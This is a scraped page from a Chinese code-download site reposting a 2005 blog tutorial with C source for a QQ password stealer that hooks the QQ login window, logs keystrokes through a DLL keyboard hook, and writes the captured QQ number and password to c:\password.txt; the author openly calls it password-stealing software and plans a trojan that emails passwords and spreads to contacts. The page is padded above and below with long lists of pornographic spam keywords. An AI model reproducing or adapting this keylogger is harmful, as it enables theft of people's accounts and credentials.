亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? ?

?? 盜qq密碼的軟件源代碼!不要隨便用喔!
??
字號:
  特別說明

此文件是 “UiQQ道” 核心代碼部分,做為第一個版本,我公開代碼。因為我認為這部分代碼不會對社會造成影響,我希望是朋友們拿來學習, 以后的版本也許不會公開代碼了

   如果有殺毒軟件認為是病毒,請告訴我,我將做修改!


  更多信息請訪問 http://www.uisoft.net   
          Email:yuhejun@126.com

           斷水流  2005.6.1






最近天氣太熱,外加無聊,出于練習的目的,想到了寫個盜QQ的軟件,說“盜”,未免是太難聽了吧,于是我給它起名為“UiQQ道”.

 

 一般的盜密碼的軟件的軟件都是通過監視鍵盤來獲得密碼,這樣操作比較方便,但是這樣也存在一定問題,密碼有的時候不是很準確,因為有的人輸入密碼并不是從前到后輸入,當然這樣的人也是少數,盜密碼嘛,當然去得到那些比較粗心的人的密碼! 通過安裝鉤子來監視QQ登陸界面就是獲得密碼的方法,在安裝前得先找到登陸窗口的句柄,當鉤子安裝后,記錄鍵盤,當用戶“回車”或是點了“登陸”就可以開始處理密碼了! 我準備分為四部分來說明這個整個過程:

(1)尋找QQ登陸界面。

(2)安裝鉤子

(3)鉤子函數的解釋.

(4)處理密碼。

以下部分全是使用C語言,文章中我假設讀者您是會C/SDK編程的。如果遇到相關的概念性問題,您可以查看MSDN或是上BBS 詢問! 

 

第一部分:(1)尋找QQ登陸界面。

   軟件運行后,利用安裝定時器,每秒在系統找QQ登陸界面,這樣基本上只要用戶打開了QQ登陸界面就會被抓住其句柄,看下面代碼:

 

#define ID_MYTIMER 555

SetTimer(hDlg, ID_MYTIMER, 1000, NULL);

 

    安裝好TIMER后,下面是處理主程序的WM_TIMER消息,凡是出現沒有定義的變量,您可以理解為是全局變量.

 

//處理WM_TIMER代碼

   if (!IsWindow(g_hQQLogin))  //判斷g_hQQLogin是否是有效的窗口句柄

   {

       HWND hLogin=NULL;

       g_hQQLogin = NULL;

       SetQQHook(NULL);      //參數為NULL是卸載HOOK,參數為句柄是安裝句柄

       do

       {    

             //利用FindWindowEx查找QQ登陸窗口,具體參數意思請查MSDN

            g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL);  //對話框的類都是#32770

             //找到類名是#32770后,再在其窗體內找一個具有“  登錄QQ”的BUTTON按紐

            hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", "  登錄QQ");  //這一句很關鍵,如果你的QQ登陸窗口上沒有"  登錄QQ"字樣,那么獲取密碼將失敗!

       }

        while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陸窗口

                            

       if (g_hQQLogin != NULL)

       {

              SetQQHook(g_hQQLogin);//安裝HOOK,此函數在DLL文件中 第二部分中介紹

       }                          

   }

 

    上面就是查找QQ登陸窗口句柄的過程,從代碼可以看出我用的方法:找一個其子窗體中有一個標題為“ 登錄QQ”的BUTTON的對話框(這句話說得有點饒口,這句話如果也看不懂,下面您不用看了:() 我最開始是想利用 FindWindow(NULL,"QQ用戶登陸窗口")來查找,但是我用Spy++看了QQ登陸窗口的標題并不是“QQ用戶登陸窗口”,而是“亂碼”,其中包含了回車鍵等特殊字符,于是我用了FindWindowEx().

 

    第二部分:(2)安裝鉤子

   找到了QQ登陸窗口后,就成功了一半。:)

   下面是DLL文件中的安裝HOOK的函數SetQQHook(), 為什么要用DLL(動態連接庫)?要去“鉤”其他進程的消息,得讓HOOK函數在DLL中,這樣好映射到其地址空間中!

 

BOOL WINAPI SetQQHook(HWND hQQLogin)

   {

       //獲得登陸框的句柄

       BOOL bRet = FALSE;

       if (hQQLogin != NULL)

       {

               DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL);  //這是什么意思?看MSDN

    

               g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此處不一樣! 得到QQ號的子窗口句柄

               g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ,此處不一樣!得到QQ密碼的子窗口句柄

              if (g_hNum == NULL)

              {

                     MessageBox(NULL,"哭了,號碼句柄都沒有得到!","郁悶",0);

                     return FALSE;

              }

              if(g_hPsw==NULL)

              {

                     MessageBox(NULL,"哭了,密碼句柄都沒有得到!","郁悶",0);

                     return FALSE;

              }

                分別鍵盤HOOK,和界面部分消息處理的HOOK

              g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);

              g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);

              bRet = (g_hProc != NULL) && (g_hKey != NULL);

       }

       else

       {

              // 卸載鉤子

              bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);

              g_hProc = NULL;

              g_hKey = NULL;

              g_hNum = NULL;

       }

       return bRet;

  }

 

上面是安裝HOOK部分的代碼,就這么簡單,上面提到了CallWndProc,KeyboardProc是兩個回調函數,是我第三部分要解釋的鉤子函數

 

第三部分:(3)鉤子函數的解釋

CallWndProc,KeyboardProc是兩個回調函數的原型和具體代碼如下:

 

// 鉤子過程,監視“登陸”的命令消息

  LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)

  {

       CWPSTRUCT *p = (CWPSTRUCT *)lParam;

        // 捕獲“登陸”按鈕

        if (p->message == WM_COMMAND && p->wParam ==16032)

        //下面個函數是我在第四部分介紹-“處理密碼”部分會仔細說明

        //當用戶點了登陸按鈕,說明QQ號碼和QQ密碼已經填寫完畢,當然可以去獲得密碼了

        GetPasswrod();  

        return CallNextHookEx(g_hProc, nCode, wParam, lParam);

  }

   // 鍵盤鉤子過程,監視“登陸”的熱鍵消息

  LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

  {

   // 捕獲熱鍵消息,記錄鍵盤的按鍵盤過程,pmsg是PMSG類型的,i是全局Static類型的

   pmsg[i].wParam =wParam;

   i++;

   if (wParam == VK_RETURN) //用戶使用鍵盤“回車”來登陸,用戶用了回車后,就可以可以去獲得密碼了

         GetPasswrod();

   return CallNextHookEx(g_hKey, nCode, wParam, lParam);

   }

 

在明白了這兩個鉤子函數后就可以看后期是如何具體處理密碼的了,這就是下面的第四部分內容

 

第四部分:(4)處理密碼

如果您讀到了此處,我想得暫停一會,先讓我來幫你回憶一下前面提到的幾個關鍵的變量

第一個:QQ號的子窗口句柄 g_hNum

第二個:QQ密碼的子窗口句柄 g_hPsw //此部分暫時不使用,下面

第三個:存鍵盤按鍵的 pmsg

上面三變量分別出現在第二部分和第三部分,都是全局共享(shared)變量

QQ密碼的子窗口句柄 g_hPsw 此部分暫時不使用,你可以看到下面代碼中有句用到g_hPsw的語句是我注釋掉了的,原因是無法通過那樣去得到QQ密碼,得處理按鍵消息

 

 

void GetPasswrod()

{

       //聲明變量和初始化

       HANDLE f;

       TCHAR num[13];

       TCHAR psw[21];

       TCHAR total[50];

       int j;

       memset(num,0,sizeof(num));

       memset(total,0,sizeof(total));

       memset(psw,0,sizeof(psw));

       

       DWORD dw;

        //得到QQ號的內容,以為有的人的QQ號是在登陸框有記錄,其QQ號并是用鍵盤輸入的

       GetWindowText(g_hNum,(LPSTR)num,sizeof(num));

       //GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw));  //此句不使用,無法這樣獲得密碼

 

        //提取出鍵盤記錄,此內容也許全是密碼,也許是QQ號+QQ密碼

       for(j=0;j<20;j++)

       {

              psw[j]=(TCHAR)pmsg[j*2].wParam ;

       }

       psw[j+1]='\0';

        //把QQ號碼和QQ密碼寫入C盤password.txt中

       f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

       strcat(total,"號碼");

       strcat(total,num);

       strcat(total,"密碼:");

       strcat(total,psw);

       WriteFile(f,&total,sizeof(total),&dw,NULL);

        CloseHandle(f);

}

 

最后在C盤password.txt也許會出現這樣兩種情況:

1)當QQ號是沒有用輸入,而已用的粘貼或者是電腦以前有記錄則是:號碼:21728812密碼:TEST

2) 當QQ號是用的鍵盤輸入,電腦沒有QQ號記錄時則是: 號碼:21728812密碼:21728812TEST 

可以看出,第2種情況把QQ當成了密碼了,所以密碼還得減去QQ號,

特別說明:我這樣直接處理wParam參數,得到的字符密碼全是大寫的,具體大小寫問題我沒有就沒有仔細去處理的,功能實現就行了,畢竟我使用他不用來盜密碼的! 

 

   上面四部分基本上獲得密碼的功能介紹完畢。凡是沒有介紹的變量皆是全局變量,沒有提到的函數如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API,詳細使用說明請查MSDN(http://www.msdn.com),我提到的“HOOK”,“鉤子”是同一個意思,也許有的地方我說的鉤子函數,而另外一個地方說的是HOOK函數

 

特別說明:上面有具體的運行文件,由于小弟并沒有考慮到更多細節,我只是用了“理想”狀況下去獲得密碼,并且或的密碼后并沒有注重后期密碼處理,也許出現密碼大小寫不符合或是無法得到密碼,請大家千萬別笑話,我寫這篇菜鳥級別的Blog的原因意在告訴一些對這方面感到疑惑的朋友基本的原理,和希望和大俠們交流 !

后期如果有必要的話,我準備進行改版,按照“真正”的QQ“木馬”來寫,如:對QQ版本進行識別,密碼自動發送到E-MAIL,加入QQ尾巴代碼,使其自動傳給好友的等功能!請關注我的主頁  http://www.uisoft.net

 

  轉載者,希望您能保留作者姓名,已經相關連接信息,我在此感謝

 

 

注意:我使用的QQ2005 賀歲版 版本號:13.5.0.8213,其他版本的QQ我無法保證可以正確的到密碼!

參考資料:MSDN,Titilima的QQ尾巴病毒模擬代碼

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
成人高清免费观看| 日韩免费观看高清完整版 | 色综合色狠狠天天综合色| 国产91丝袜在线播放| 国产一区二区三区视频在线播放| 日本不卡视频在线| 久久99精品国产麻豆婷婷洗澡| 蜜桃视频一区二区| 激情五月播播久久久精品| 黄色成人免费在线| 国产一区激情在线| 国产91精品免费| 色综合久久久久久久久| 欧美中文字幕亚洲一区二区va在线| 在线观看91视频| 6080yy午夜一二三区久久| 日韩欧美高清在线| 久久久久久电影| 国产精品乱子久久久久| 亚洲视频在线观看三级| 国产精品成人免费在线| 亚洲一区在线看| 免费看黄色91| 国产成人免费视频网站 | 欧美日韩免费观看一区三区| 欧美精品色综合| 日韩你懂的在线播放| 日本一二三四高清不卡| 亚洲欧美一区二区不卡| 亚洲超丰满肉感bbw| 久久精品国产秦先生| 成人精品视频.| 欧美日韩一区二区三区高清| 日韩欧美aaaaaa| 亚洲日本在线观看| 日韩激情视频网站| 国产不卡高清在线观看视频| 日本韩国精品在线| 欧美大片在线观看| 国产精品久久久久久亚洲伦| 亚洲成人一区在线| 国产成人av在线影院| 欧美影院一区二区三区| 久久综合999| 亚洲精品成a人| 韩国av一区二区三区四区| 91视频观看视频| 日韩免费性生活视频播放| 中文字幕在线观看不卡视频| 五月天婷婷综合| 不卡的av网站| 日韩色在线观看| 亚洲精品欧美专区| 国精品**一区二区三区在线蜜桃| 91首页免费视频| 2023国产精品| 亚洲成人你懂的| 97精品视频在线观看自产线路二| 欧美一区二区视频在线观看2020| 中文在线一区二区| 美女脱光内衣内裤视频久久影院| 成人av电影免费在线播放| 91精品国产综合久久久久久久久久| 国产精品婷婷午夜在线观看| 日韩综合在线视频| 99久久精品国产导航| 精品国产乱码久久久久久免费| 一区二区三区.www| 成人黄色av网站在线| 精品国产成人在线影院| 亚洲成av人片一区二区梦乃| 97久久精品人人爽人人爽蜜臀| 久久亚洲免费视频| 人禽交欧美网站| 欧美影院一区二区三区| 自拍视频在线观看一区二区| 国产伦精一区二区三区| 欧美一级欧美一级在线播放| 一区二区三区在线播放| 成人av电影观看| 欧美国产精品一区二区三区| 激情文学综合插| 91麻豆精品国产91久久久| 亚洲第一电影网| 欧美性大战久久久久久久| 亚洲色图视频免费播放| 粉嫩av亚洲一区二区图片| 精品区一区二区| 蜜桃91丨九色丨蝌蚪91桃色| 欧美午夜视频网站| 一区二区三区四区av| 99re这里都是精品| 国产精品伦理在线| av电影在线观看完整版一区二区| 精品久久久三级丝袜| 免费观看一级特黄欧美大片| 日韩一区二区三免费高清| 香蕉久久夜色精品国产使用方法| 在线视频欧美区| 亚洲综合图片区| 欧美午夜在线一二页| 亚洲香蕉伊在人在线观| 欧美视频在线一区| 亚洲国产一二三| 欧美日韩二区三区| 视频一区在线视频| 欧美一级免费大片| 免费一区二区视频| 欧美成人性福生活免费看| 久久综合综合久久综合| 欧美大片日本大片免费观看| 狠狠久久亚洲欧美| 欧美极品另类videosde| 91影院在线观看| 亚洲一区电影777| 欧美精品1区2区3区| 琪琪久久久久日韩精品| 久久婷婷色综合| 成人免费观看av| 一区二区三区成人在线视频| 欧美日韩国产片| 久久国产精品99精品国产| 久久新电视剧免费观看| 成人18视频日本| 一区二区三区欧美日韩| 欧美妇女性影城| 国产专区欧美精品| 国产精品久久综合| 欧美三级资源在线| 国产制服丝袜一区| 亚洲欧美怡红院| 欧美日本在线看| 国产精品99久久久久久宅男| 中文字幕一区二区不卡| 欧美日韩在线精品一区二区三区激情 | 26uuu久久综合| 成人的网站免费观看| 亚洲一区二区中文在线| 91精品国产手机| 东方aⅴ免费观看久久av| 亚洲精品少妇30p| 欧美va亚洲va国产综合| 成人动漫一区二区在线| 亚洲第四色夜色| 国产视频视频一区| 欧美日韩你懂得| 成人免费毛片嘿嘿连载视频| 亚洲国产人成综合网站| 亚洲精品一区二区三区香蕉| 91年精品国产| 黄页网站大全一区二区| 一区二区在线观看视频| 欧美精品一区二区三区蜜桃| 99久久国产免费看| 久久精品999| 一区二区在线观看免费| 久久亚洲影视婷婷| 欧美日韩美少妇| 成人av免费在线播放| 久久国内精品视频| 亚洲视频一区二区在线| 日韩精品一区二区在线| 日本韩国欧美国产| 国产.欧美.日韩| 另类小说色综合网站| 亚洲激情五月婷婷| 久久久一区二区三区| 欧美日韩一区二区在线观看| 成人黄色a**站在线观看| 精品一区二区三区影院在线午夜| 亚洲男人的天堂av| 国产欧美一区二区三区鸳鸯浴| 欧美精品vⅰdeose4hd| 色综合天天综合网国产成人综合天| 久久国产剧场电影| 日韩精品欧美精品| 一区二区三区色| 亚洲欧洲在线观看av| 久久久国际精品| 日韩欧美在线不卡| 欧美日韩你懂的| 在线观看免费视频综合| 不卡在线观看av| 国产黄色成人av| 激情五月激情综合网| 裸体健美xxxx欧美裸体表演| 亚洲动漫第一页| 1024成人网| 国产精品久久久久一区二区三区共| 精品国产1区2区3区| 日韩一级欧美一级| 欧美精品粉嫩高潮一区二区| 欧美日韩一区在线观看| 91成人免费在线视频| 一本一道久久a久久精品综合蜜臀| 国产69精品一区二区亚洲孕妇| 激情综合网激情| 国产一区二区美女诱惑| 狠狠色丁香婷婷综合| 国内精品久久久久影院薰衣草 |